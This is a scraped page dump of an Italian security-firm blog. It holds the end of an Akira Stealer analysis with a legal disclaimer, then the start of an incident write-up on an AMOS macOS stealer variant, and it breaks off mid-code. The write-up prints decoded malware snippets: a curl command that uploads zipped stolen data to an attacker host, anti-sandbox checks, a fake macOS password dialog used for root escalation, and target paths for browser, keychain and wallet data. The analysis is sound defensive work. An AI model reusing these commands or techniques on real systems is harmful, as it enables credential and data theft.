Telegram",[1438,12740,12741],{},[578,12742,12743],{},"5035121855",[852,12745],{"className":12746},[855,856],[556,12748,12750],{"id":12749},"_14-riflessioni-sullincidente-akira-stealer-rafforza-la-tua-difesa-con-il-glueckkanja-csoc","14. Riflessioni sull'incidente Akira Stealer: rafforza la tua difesa con il glueckkanja CSOC",[525,12752,562],{},[525,12754,12755],{},"In questo articolo abbiamo esplorato la natura sofisticata dell'infostealer Akira, una minaccia informatica avanzata caratterizzata da furto mirato di credenziali, esfiltrazione furtiva dei dati e metodi persistenti per eludere le difese tradizionali. Capire come funziona questo malware, quali rischi comporta e quali vulnerabilità sfrutta è fondamentale per costruire una strategia di cybersecurity solida.",[525,12757,12758],{},"L'infostealer Akira punta in modo specifico a dati sensibili come credenziali di accesso, sessioni del browser, wallet di criptovalute, servizi di messaggistica e file personali o aziendali. I suoi metodi calcolati e precisi richiedono più delle semplici misure di security standard, richiedono monitoraggio continuo, analisi forense approfondita e threat intelligence proattiva.",[525,12760,12761],{},"Nel glueckkanja CSOC sfruttiamo la nostra competenza tecnica profonda e le nostre capacità analitiche avanzate per andare oltre il semplice rilevamento. Il nostro team specializzato monitora le minacce in tempo reale dai nostri server CSOC dedicati, e questo consente identificazione immediata, indagine accurata e neutralizzazione efficace di minacce come l'infostealer Akira.",[525,12763,12764],{},"Il nostro lavoro non si ferma però all'incident response. Ogni incidente rilevato arricchisce la nostra base di conoscenza, migliora la nostra postura di security e ci permette di restare diversi passi avanti rispetto alle minacce future. Con il glueckkanja CSOC ottieni più della protezione, ottieni un partner di security adattivo, impegnato nella tua resilienza di lungo periodo.",[525,12766,12767],{},"Fai il passo successivo per mettere in sicurezza gli asset digitali della tua organizzazione.",[525,12769,12770],{},"Contatta oggi gli esperti di cybersecurity di glueckkanja e mettiamo in sicurezza il tuo futuro insieme, in modo proattivo.",[525,12772,12773],{},[567,12774,12775],{},"Rafforza la tua difesa con il glueckkanja CSOC.",[556,12777,12779],{"id":12778},"_15-disclaimer-di-sicurezza-e-legale-uso-di-codice-malware-reale","15. Disclaimer di sicurezza e legale – uso di codice malware reale",[525,12781,562],{},[525,12783,12784],{},"Questa pubblicazione contiene approfondimenti tecnici dettagliati, compresi estratti di codice e analisi comportamentali ricavati da software malevolo reale scoperto durante attività di incident response e indagini forensi. Lo scopo della condivisione di queste informazioni è strettamente formativo, pensato per aiutare i difensori professionisti a comprendere, rilevare e affrontare in modo più efficace le minacce del mondo reale. Pubblichiamo questo materiale in buona fede e con l'intento di contribuire alla comunità della security più ampia.",[525,12786,12787],{},"È importante notare che parti del codice incluso provengono da toolkit di threat actor e da sample di malware in circolazione in the wild. Questi frammenti non sono nostra proprietà intellettuale, né devono essere considerati sicuri, sanificati o in qualche modo \"harmless\". La riproduzione o l'uso operativo di tale codice è espressamente sconsigliato. Chi legge deve capire che, pur svolgendo una funzione di ricerca e sensibilizzazione, questo materiale porta con sé un profilo di rischio che non va sottovalutato.",[525,12789,12790],{},"Solo professionisti formati che operano in ambienti legalmente autorizzati, come team di security accreditati, unità SOC, ricercatori accademici o laboratori di analisi malware, dovrebbero avere a che fare con le tecniche o il codice descritti. Ogni sperimentazione deve restare confinata a sistemi isolati e non di produzione e rispettare le leggi applicabili, le policy interne e gli standard etici.",[525,12792,12793],{},"Non forniamo supporto né validazione per alcun codice o comportamento riprodotto. Non c'è alcuna garanzia di accuratezza, pertinenza o completezza. Respingiamo inoltre espressamente qualsiasi uso di questo contenuto per scopi offensivi, red teaming non autorizzato, sviluppo commerciale di malware o test avversariali al di fuori di un perimetro definito legalmente. Ogni uso improprio può comportare conseguenze legali. glueckkanja AG declina ogni responsabilità per danni diretti o indiretti derivanti dall'uso o dall'interpretazione errata di questo contenuto.",[525,12795,12796],{},"Continuando a leggere o a citare questo contenuto, riconosci quanto sopra e accetti di non usarne in modo improprio, di non replicarne e di non applicarne alcuna parte in contesti illegali o non etici. In caso di dubbio, consulta l'ufficio legale, la funzione compliance o il responsabile della protezione dei dati prima di occuparti di analisi di codice live o di materiale tecnico simile.",[525,12798,12799],{},"Questa pubblicazione è fornita \"as is\", senza garanzia, supporto o responsabilità.",[12801,12802,12803],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":529,"searchDepth":530,"depth":530,"links":12805},[12806,12807,12808,12809,12820,12821,12822,12823,12824,12825,12826,12827,12829,12830,12831,12832,12833,12834,12835,12836,12837,12840,12848,12849,12850,12856,12874,12892,12893,12894,12895,12903,12910,12917,12926,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942,12943,12944,12945,12946,12947,12948],{"id":742,"depth":530,"text":743},{"id":792,"depth":530,"text":793},{"id":812,"depth":530,"text":813},{"id":868,"depth":530,"text":869,"children":12810},[12811,12812,12814,12816,12818],{"id":889,"depth":2088,"text":890},{"id":942,"depth":2088,"text":12813},"2.1.2 Updater.exe, il loader iniziale",{"id":1048,"depth":2088,"text":12815},"2.1.3 main.exe, contenitore di payload NodeJS offuscato",{"id":1167,"depth":2088,"text":12817},"2.1.4 cmd.exe e il relay PowerShell",{"id":1278,"depth":2088,"text":12819},"2.1.5 python.exe con astor.py",{"id":1412,"depth":530,"text":1413},{"id":1501,"depth":530,"text":1502},{"id":1579,"depth":530,"text":1580},{"id":1657,"depth":530,"text":1658},{"id":1727,"depth":530,"text":1728},{"id":1807,"depth":530,"text":1808},{"id":1916,"depth":530,"text":1917},{"id":2033,"depth":530,"text":12828},"4.2 Tecnica di bypass di AMSI (classe: gofor4msi)",{"id":2218,"depth":530,"text":2219},{"id":2337,"depth":530,"text":2338},{"id":2437,"depth":530,"text":2438},{"id":2533,"depth":530,"text":2534},{"id":2608,"depth":530,"text":2609},{"id":2679,"depth":530,"text":2680},{"id":2739,"depth":530,"text":2740},{"id":2880,"depth":530,"text":2881},{"id":2941,"depth":530,"text":2942,"children":12838},[12839],{"id":2953,"depth":2088,"text":2954},{"id":3307,"depth":530,"text":3308,"children":12841},[12842,12843,12844,12845,12846,12847],{"id":3316,"depth":2088,"text":3317},{"id":3430,"depth":2088,"text":3431},{"id":3628,"depth":2088,"text":3629},{"id":3920,"depth":2088,"text":3921},{"id":3996,"depth":2088,"text":3997},{"id":4158,"depth":2088,"text":4159},{"id":4393,"depth":530,"text":4394},{"id":4439,"depth":530,"text":4440},{"id":4451,"depth":530,"text":4452,"children":12851},[12852,12853,12854,12855],{"id":4457,"depth":2088,"text":4458},{"id":4501,"depth":2088,"text":4502},{"id":4560,"depth":2088,"text":4561},{"id":4595,"depth":2088,"text":4596},{"id":4631,"depth":530,"text":12857,"children":12858},"7.3 Anti analisi ed evasione (classe: VmProtect)",[12859,12860,12861,12862,12864,12865,12866,12867,12868,12869,12870,12871,12872,12873],{"id":4640,"depth":2088,"text":4641},{"id":4656,"depth":2088,"text":4657},{"id":4697,"depth":2088,"text":4698},{"id":4786,"depth":2088,"text":12863},"7.3.4 Architettura di VmProtect",{"id":5136,"depth":2088,"text":5137},{"id":5202,"depth":2088,"text":5203},{"id":5271,"depth":2088,"text":5272},{"id":5335,"depth":2088,"text":5336},{"id":5403,"depth":2088,"text":5404},{"id":5460,"depth":2088,"text":5461},{"id":5558,"depth":2088,"text":5559},{"id":5628,"depth":2088,"text":5629},{"id":6084,"depth":2088,"text":6085},{"id":6131,"depth":2088,"text":6132},{"id":6146,"depth":530,"text":6147,"children":12875},[12876,12877,12879,12881,12883,12885,12887,12889,12891],{"id":6306,"depth":2088,"text":6307},{"id":6415,"depth":2088,"text":12878},"7.4.2 Dumper delle password (Chromium.GetPasswords)",{"id":6538,"depth":2088,"text":12880},"7.4.3 Dumper delle carte di credito (Chromium.GetCreditCards)",{"id":6619,"depth":2088,"text":12882},"7.4.4 Dumper dei cookie (Chromium.GetCookies)",{"id":6697,"depth":2088,"text":12884},"7.4.5 Dumper delle sessioni Google (Chromium.dump_google_sessions)",{"id":6822,"depth":2088,"text":12886},"7.4.6 Dumper della cronologia (Chromium.GetHistory)",{"id":6891,"depth":2088,"text":12888},"7.4.7 Dumper della compilazione automatica (Chromium.GetAutofills)",{"id":6952,"depth":2088,"text":12890},"7.4.8 Grabber dei profili Firefox (GeckoDriver e grabFirefoxProfiles)",{"id":7027,"depth":2088,"text":7028},{"id":7066,"depth":530,"text":7067},{"id":7398,"depth":530,"text":7399},{"id":7512,"depth":530,"text":7513},{"id":7840,"depth":530,"text":7841,"children":12896},[12897,12898,12899,12900,12901,12902],{"id":7849,"depth":2088,"text":7850},{"id":8001,"depth":2088,"text":8002},{"id":8107,"depth":2088,"text":8108},{"id":8232,"depth":2088,"text":8233},{"id":8300,"depth":2088,"text":8301},{"id":8425,"depth":2088,"text":8426},{"id":8530,"depth":530,"text":12904,"children":12905},"7.9. Furto di token Discord e Telegram (classe: Discord)",[12906,12907,12908,12909],{"id":8543,"depth":2088,"text":8544},{"id":8674,"depth":2088,"text":8675},{"id":8917,"depth":2088,"text":8918},{"id":8998,"depth":2088,"text":8999},{"id":9067,"depth":530,"text":9068,"children":12911},[12912,12914,12915,12916],{"id":9080,"depth":2088,"text":12913},"7.10.1 Inizializzazione della classe Data",{"id":9176,"depth":2088,"text":9177},{"id":9296,"depth":2088,"text":9297},{"id":9361,"depth":2088,"text":9362},{"id":9438,"depth":530,"text":12918,"children":12919},"7.11 File grabber (classe: Utils.steal_files)",[12920,12921,12922,12923,12924,12925],{"id":9450,"depth":2088,"text":9451},{"id":9521,"depth":2088,"text":9522},{"id":9584,"depth":2088,"text":9585},{"id":9617,"depth":2088,"text":9618},{"id":9646,"depth":2088,"text":9647},{"id":9824,"depth":2088,"text":9825},{"id":9934,"depth":530,"text":9935,"children":12927},[12928,12929,12930,12931,12932],{"id":9943,"depth":2088,"text":9944},{"id":9958,"depth":2088,"text":9959},{"id":10037,"depth":2088,"text":10038},{"id":10186,"depth":2088,"text":10187},{"id":10418,"depth":2088,"text":10419},{"id":10775,"depth":530,"text":10776},{"id":10806,"depth":530,"text":10807},{"id":10930,"depth":530,"text":10931},{"id":11042,"depth":530,"text":11043},{"id":11093,"depth":530,"text":11094},{"id":11272,"depth":530,"text":11273},{"id":11322,"depth":530,"text":11323},{"id":11366,"depth":530,"text":11367},{"id":11406,"depth":530,"text":11407},{"id":11496,"depth":530,"text":11497},{"id":11513,"depth":530,"text":11514},{"id":12036,"depth":530,"text":12037},{"id":12341,"depth":530,"text":12342},{"id":12462,"depth":530,"text":12463},{"id":12525,"depth":530,"text":12526},{"id":12698,"depth":530,"text":12699},"post",{"lang":12951,"seoTitle":12952,"titleClass":12953,"date":12954,"categories":12955,"blogtitlepic":12956,"socialimg":12957,"customExcerpt":12958,"keywords":12959,"maxContent":325,"asideNav":12960,"footer":13009,"contactInContent":13010,"published":325},"it","Akira Stealer: analisi tecnica di un malware modulare per il furto di informazioni","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Tutto è iniziato con un singolo alert di Defender in Microsoft 365. Nessun malware, nessuna signature, nessun panico. Solo un sussurro nel rumore di fondo. Quello che abbiamo portato alla luce erano mesi di furto di credenziali, chirurgico, silenzioso e quasi invisibile. Ecco come il nostro CSOC ha trasformato un segnale sommesso in una risposta su vasta scala. E ha restituito il controllo al cliente prima ancora che si accorgesse di averlo perso.","Microsoft 365 Security, rilevamento del furto di credenziali, Incident Response, Microsoft Defender, Managed Security Services, Cloud Security, Threat Detection, rilevamento degli attacchi informatici, CSOC, Advanced Threat Protection",{"menuItems":12961},[12962,12964,12967,12970,12973,12976,12979,12982,12985,12988,12991,12994,12997,13000,13003,13006],{"href":12963,"text":559},"#prologo",{"href":12965,"text":12966},"#_1-evento-iniziale-e-sintesi-del-triage","Evento iniziale e sintesi del triage",{"href":12968,"text":12969},"#_2-architettura-del-malware-e-panoramica-della-catena-di-esecuzione","Architettura del malware e catena di esecuzione",{"href":12971,"text":12972},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12974,"text":12975},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12977,"text":12978},"#_5-deep-dive-mainexe-malware-loader-basato-su-electron","Deep Dive: main.exe",{"href":12980,"text":12981},"#_6-deep-dive-inputjs-il-payload-loader-javascript-cifrato","Deep Dive: input.js",{"href":12983,"text":12984},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12986,"text":12987},"#_8-catena-di-esecuzione-circolare-un-loop-che-si-autoripara","Catena di esecuzione circolare",{"href":12989,"text":12990},"#_9-tracciamento-e-analisi-blockchain","Tracciamento e analisi blockchain",{"href":12992,"text":12993},"#_10-dentro-lecosistema-akira-infrastruttura-di-cybercrime-commercializzata","Dentro l'ecosistema Akira",{"href":12995,"text":12996},"#_11-akira-stealer-quickcheck-file-interessati","Akira Stealer QuickCheck: file interessati",{"href":12998,"text":12999},"#_12-oltre-la-risposta-come-il-glueckkanja-csoc-trasforma-gli-incidenti-in-insight","Come il glueckkanja CSOC trasforma gli incidenti in insight",{"href":13001,"text":13002},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":13004,"text":13005},"#_14-riflessioni-sullincidente-akira-stealer-rafforza-la-tua-difesa-con-il-glueckkanja-csoc","Riflessioni sull'incidente Akira Stealer",{"href":13007,"text":13008},"#_15-disclaimer-di-sicurezza-e-legale-uso-di-codice-malware-reale","Disclaimer di sicurezza e legale",{"noMargin":325},{"quote":484,"infos":13011},{"bgColor":13012,"color":13013,"boxBgColor":13014,"boxColor":13015,"headline":13016,"subline":13017,"level":740,"textStyling":13018,"flush":13019,"person":13020,"form":13032},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Contattaci ora","Come MSSP Microsoft Security di riferimento proteggiamo ogni giorno le aziende dalle minacce informatiche. Parliamone e rafforziamo insieme le tue difese.","text-light","justify-content-end",{"image":13021,"cloudinary":325,"alt":13022,"name":13022,"detailsHeader":13023,"details":13024},"/people/people-pam-team.png","Project & Account Management","Non vediamo l'ora di sentirti.",[13025,13029],{"text":492,"href":13026,"details":13027,"icon":13028},"tel:+49 69 4005520","Chiama ora","site/phone",{"text":493,"href":13030,"icon":13031},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13033,"cta":13034,"method":12949,"action":13036,"fields":13037},"Invia",{"skin":13035},"primary on-surface","/send",[13038,13042,13046,13049,13053,13058,13061,13064],{"type":13039,"id":13040,"value":13041},"hidden","_next","successful",{"label":13043,"type":620,"id":13044,"required":325,"requiredMsg":13045},"Nome*","name","Inserisci il tuo nome.",{"label":13047,"type":620,"id":403,"required":325,"requiredMsg":13048},"Azienda*","Inserisci la tua azienda.",{"label":13050,"type":13051,"id":13051,"required":325,"requiredMsg":13052},"Indirizzo email*","email","Inserisci il tuo indirizzo email.",{"label":13054,"type":13055,"id":13056,"required":325,"requiredMsg":13057},"I tuoi dati vengono conservati da noi per elaborare e rispondere alla tua richiesta. Ulteriori informazioni sulla privacy sono disponibili nella nostra \u003Ca href=\"/it/privacy\">informativa sulla privacy\u003C/a>.","checkbox","dataprotection","Conferma",{"type":13039,"id":13059,"value":13060},"_subject","Form: Blog MSSP 2025 | IT",{"type":13039,"id":13062,"value":13063},"inbox_key","gkgab-contact-form",{"type":13039,"id":13065},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":551,"description":562},"posts/2025-06-16-quiet-breach",[13070,13071,13072,13073],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","TFek6WfBGPf3n-qRfLRRn-YyuwqcZafG1kBb_ZzShZc",{"id":13076,"title":13077,"author":13078,"body":13079,"cta":494,"description":13083,"eventid":494,"extension":532,"hideInRecent":484,"layout":12949,"meta":15164,"moment":15166,"navigation":325,"path":15222,"seo":15223,"stem":15224,"tags":15225,"webcast":484,"__hash__":15229},"content_it/posts/2026-04-10-incident-to-intelligence.md","Anatomia di un AMOS Stealer sconosciuto: dall'alert all'immunità in poche ore",[520],{"type":522,"value":13080,"toc":15128},[13081,13084,13087,13090,13093,13097,13099,13102,13109,13111,13115,13117,13120,13129,13132,13135,13143,13146,13150,13152,13155,13174,13177,13185,13188,13196,13203,13207,13209,13212,13220,13234,13238,13240,13243,13247,13249,13257,13261,13263,13271,13275,13277,13280,13284,13286,13289,13297,13301,13303,13310,13313,13402,13405,13435,13437,13441,13443,13450,13453,13457,13459,13533,13537,13539,13550,13557,13628,13639,13646,13650,13652,13711,13715,13717,13724,13726,13730,13732,13739,13765,13950,13953,13961,13972,13975,13983,13998,14011,14013,14017,14019,14036,14058,14247,14250,14258,14261,14264,14266,14270,14272,14275,14347,14350,14369,14446,14449,14451,14455,14457,14460,14467,14522,14525,14533,14536,14538,14542,14544,14551,14562,14610,14621,14660,14669,14684,14687,14689,14693,14695,14702,14705,14713,14716,14724,14738,14741,14743,14747,14749,14759,14763,14765,14782,14790,14804,14823,14827,14829,14832,14840,14843,14851,14865,14869,14871,14874,14882,14899,14905,14909,14911,14919,14926,14933,14937,14939,14947,14951,14953,14956,14964,14967,14971,14973,14981,14985,14987,14995,14999,15001,15009,15013,15015,15023,15040,15045,15047,15051,15053,15060,15077,15080,15092,15094,15098,15100,15103,15106,15109,15125],[525,13082,13083],{},"Quando nel nostro SOC scatta un alert, l'orologio inizia a correre: non solo per il cliente colpito, ma per tutte le organizzazioni sotto la nostra protezione. Il momento più pericoloso nel panorama moderno delle minacce è l'Intelligence Gap, la finestra temporale tra il primo impiego di una nuova variante di malware e il giorno in cui il settore ne viene a conoscenza.",[525,13085,13086],{},"Per i security team indipendenti questa lacuna significa vulnerabilità estrema: si aspetta un aggiornamento del vendor o un feed di signature che non è ancora stato scritto. Per i nostri clienti la nostra Shared Threat Intelligence, sviluppata internamente, chiude esattamente questa finestra.",[525,13088,13089],{},"Questo articolo è un'analisi tecnica di come abbiamo smontato una variante di AMOS (Atomic macOS Stealer) finora non documentata e di come, partendo da un singolo endpoint compromesso, siamo arrivati nel giro di poche ore a una rilevazione e a un blocco estesi a tutti gli ambienti dei nostri clienti.",[13091,13092],"hr",{},[556,13094,13096],{"id":13095},"lincidente-uno-scenario-di-ioc-sconosciuti","L'incidente: uno scenario di IOC sconosciuti",[525,13098,562],{},[525,13100,13101],{},"L'alert è arrivato il 12 marzo 2026 alle 06:25 ora locale: un endpoint macOS era stato compromesso. Quando il nostro SOC ha iniziato ad analizzare gli artefatti, ci siamo trovati davanti alla situazione che ogni threat analyst teme: nessun hash di file noto, nessun indirizzo IP di C2, nessuna signature comportamentale significativa nei database pubblici.",[525,13103,13104,13105,13108],{},"L'architettura completa dell'attacco si è rivelata solo con l'analisi approfondita. L'infezione si basava su una macOS Universal Binary da 15,7 MB (x86_64 e ARM64), depositata in ",[578,13106,13107],{},"/private/tmp/helper",". Il sample non era direttamente disponibile sul sistema compromesso; il nostro team ha dovuto ricostruire la catena di infezione e simulare la richiesta di consegna originale per recuperare manualmente la binary dall'infrastruttura degli attaccanti.",[13091,13110],{},[740,13112,13114],{"id":13113},"stage-1-verifiche-sandbox","Stage 1: verifiche sandbox",[525,13116,746],{},[525,13118,13119],{},"Prima che lo stealer vero e proprio venisse eseguito sul dispositivo, era già stato lanciato un payload AppleScript. Ogni stringa al suo interno, ogni percorso di file, ogni comando shell, ogni URL era codificato tramite tre funzioni aritmetiche personalizzate:",[852,13121,13123],{"style":13122},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[615,13124,13127],{"className":13125,"code":13126,"language":620},[618],"on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[578,13128,13126],{"__ignoreMap":529},[525,13130,13131],{},"Nessuna stringa appare in chiaro. Quello che a prima vista sembrava un insieme insignificante di array di interi si è rivelato, una volta invertito lo schema di codifica, un framework completo e pronto all'uso per il furto e l'esfiltrazione dei dati.",[525,13133,13134],{},"Abbiamo decodificato staticamente ogni array nello script. I risultati erano inequivocabili:",[852,13136,13137],{"style":13122},[615,13138,13141],{"className":13139,"code":13140,"language":620},[618],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[578,13142,13140],{"__ignoreMap":529},[525,13144,13145],{},"La URL di download imita volutamente un aggiornamento legittimo di n8n Workflow Automation, uno strumento molto diffuso tra sviluppatori e ingegneri DevOps. Non è un caso: la campagna prende di mira utenti tecnicamente esperti, non i comuni utenti finali che installano software craccato.",[740,13147,13149],{"id":13148},"il-controllo-anti-sandbox","Il controllo anti-sandbox",[525,13151,746],{},[525,13153,13154],{},"Prima del download, lo script eseguiva una routine dedicata di rilevamento di VM e sandbox. Dagli artefatti dell'incidente siamo riusciti a ricostruire anche uno script anti-sandbox indipendente:",[852,13156,13157],{"style":13122},[615,13158,13162],{"className":13159,"code":13160,"language":13161,"meta":529,"style":529},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[578,13163,13164,13169],{"__ignoreMap":529},[1704,13165,13166],{"class":1706,"line":1707},[1704,13167,13168],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[1704,13170,13171],{"class":1706,"line":530},[1704,13172,13173],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[525,13175,13176],{},"Lo script confrontava poi i risultati con due liste. La prima cercava marker di virtualizzazione nei dati sulla memoria:",[852,13178,13179],{"style":13122},[615,13180,13183],{"className":13181,"code":13182,"language":620},[618],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[578,13184,13182],{"__ignoreMap":529},[525,13186,13187],{},"La seconda verificava gli identificatori hardware rispetto a un elenco di numeri di serie noti di macchine di analisi:",[852,13189,13190],{"style":13122},[615,13191,13194],{"className":13192,"code":13193,"language":620},[618],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[578,13195,13193],{"__ignoreMap":529},[525,13197,13198,13199,13202],{},"In caso di corrispondenza: ",[578,13200,13201],{},"exit 100",", interruzione completa. Su un MacBook Pro reale con Apple Silicon tutti i controlli passavano silenziosamente e l'esecuzione proseguiva. Una tecnica di sandbox evasion di livello professionale, che si svolgeva prima ancora che venisse scaricato un solo byte della binary.",[740,13204,13206],{"id":13205},"semplice-ma-efficace-il-finto-prompt-della-password","Semplice, ma efficace: il finto prompt della password",[525,13208,746],{},[525,13210,13211],{},"Lo script decodificato conteneva anche il dialogo per l'escalation dei privilegi tramite social engineering:",[852,13213,13214],{"style":13122},[615,13215,13218],{"className":13216,"code":13217,"language":620},[618],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[578,13219,13217],{"__ignoreMap":529},[525,13221,13222,13223,1282,13226,13229,13230,13233],{},"Il dialogo compare tramite una chiamata standard macOS a ",[578,13224,13225],{},"display dialog",[578,13227,13228],{},"with hidden answer"," ed è visivamente indistinguibile da un vero prompt di autorizzazione di macOS. Lo script utilizzava la password inserita per lanciare ",[578,13231,13232],{},"login -pf \u003Cusername>"," ed elevare il processo ai privilegi di root, ancora prima di eseguire la binary.",[740,13235,13237],{"id":13236},"cosa-ha-raccolto-lo-script","Cosa ha raccolto lo script",[525,13239,746],{},[525,13241,13242],{},"Una volta eseguita la binary, l'osascript proseguiva la propria routine di raccolta e catturava ogni categoria di dati sensibili del sistema. Abbiamo decodificato tutti i percorsi di raccolta e le destinazioni:",[887,13244,13246],{"id":13245},"dati-del-browser-tutti-i-browser-chromium-safari","Dati del browser (tutti i browser Chromium + Safari):",[525,13248,893],{},[852,13250,13251],{"style":13122},[615,13252,13255],{"className":13253,"code":13254,"language":620},[618],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[578,13256,13254],{"__ignoreMap":529},[887,13258,13260],{"id":13259},"macos-keychain","macOS Keychain:",[525,13262,893],{},[852,13264,13265],{"style":13122},[615,13266,13269],{"className":13267,"code":13268,"language":620},[618],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[578,13270,13268],{"__ignoreMap":529},[887,13272,13274],{"id":13273},"apple-notes","Apple Notes",[525,13276,893],{},[525,13278,13279],{},"Contenuto completo esportato come HTML con header di conteggio",[887,13281,13283],{"id":13282},"file-locali","File locali",[525,13285,893],{},[525,13287,13288],{},"Desktop e Documenti, fino a 30 MB, con focus su:",[852,13290,13291],{"style":13122},[615,13292,13295],{"className":13293,"code":13294,"language":620},[618],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[578,13296,13294],{"__ignoreMap":529},[887,13298,13300],{"id":13299},"wallet-di-criptovalute","Wallet di criptovalute",[525,13302,893],{},[525,13304,13305,13306,13309],{},"Una lista hardcoded di ",[567,13307,13308],{},"oltre 200 ID di estensioni del browser",", che copre tutti i wallet più diffusi, tra cui MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI ed Exodus.",[525,13311,13312],{},"Dopo la raccolta, tutti i dati venivano impacchettati in una directory temporanea dal nome casuale ed esfiltrati:",[852,13314,13315],{"style":13122},[615,13316,13318],{"className":2782,"code":13317,"language":2784,"meta":529,"style":529},"ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n",[578,13319,13320,13349,13375,13391],{"__ignoreMap":529},[1704,13321,13322,13325,13328,13331,13334,13337,13340,13343,13346],{"class":1706,"line":1707},[1704,13323,13324],{"class":2791},"ditto",[1704,13326,13327],{"class":2799}," -c",[1704,13329,13330],{"class":2799}," -k",[1704,13332,13333],{"class":2799}," --sequesterRsrc",[1704,13335,13336],{"class":3016}," \u003C",[1704,13338,13339],{"class":2795},"staging_di",[1704,13341,13342],{"class":3026},"r",[1704,13344,13345],{"class":3016},">",[1704,13347,13348],{"class":2795}," /tmp/out.zip\n",[1704,13350,13351,13354,13357,13360,13363,13366,13369,13372],{"class":1706,"line":530},[1704,13352,13353],{"class":2791},"curl",[1704,13355,13356],{"class":2799}," --connect-timeout",[1704,13358,13359],{"class":2799}," 120",[1704,13361,13362],{"class":2799}," --max-time",[1704,13364,13365],{"class":2799}," 300",[1704,13367,13368],{"class":2799}," -X",[1704,13370,13371],{"class":2795}," POST",[1704,13373,13374],{"class":2799}," \\\n",[1704,13376,13377,13380,13383,13386,13389],{"class":1706,"line":2088},[1704,13378,13379],{"class":2799},"  -H",[1704,13381,13382],{"class":2795}," \"user: \u003Cuuid>\"",[1704,13384,13385],{"class":2799}," -H",[1704,13387,13388],{"class":2795}," \"BuildID: \u003Chw_profile>\"",[1704,13390,13374],{"class":2799},[1704,13392,13393,13396,13399],{"class":1706,"line":2094},[1704,13394,13395],{"class":2799},"  -F",[1704,13397,13398],{"class":2795}," \"file=@/tmp/out.zip\"",[1704,13400,13401],{"class":2795}," laislivon[.]com/contact\n",[525,13403,13404],{},"La pulizia seguiva immediatamente:",[852,13406,13407],{"style":13122},[615,13408,13410],{"className":2782,"code":13409,"language":2784,"meta":529,"style":529},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[578,13411,13412,13429],{"__ignoreMap":529},[1704,13413,13414,13417,13420,13422,13424,13426],{"class":1706,"line":1707},[1704,13415,13416],{"class":2791},"rm",[1704,13418,13419],{"class":2799}," 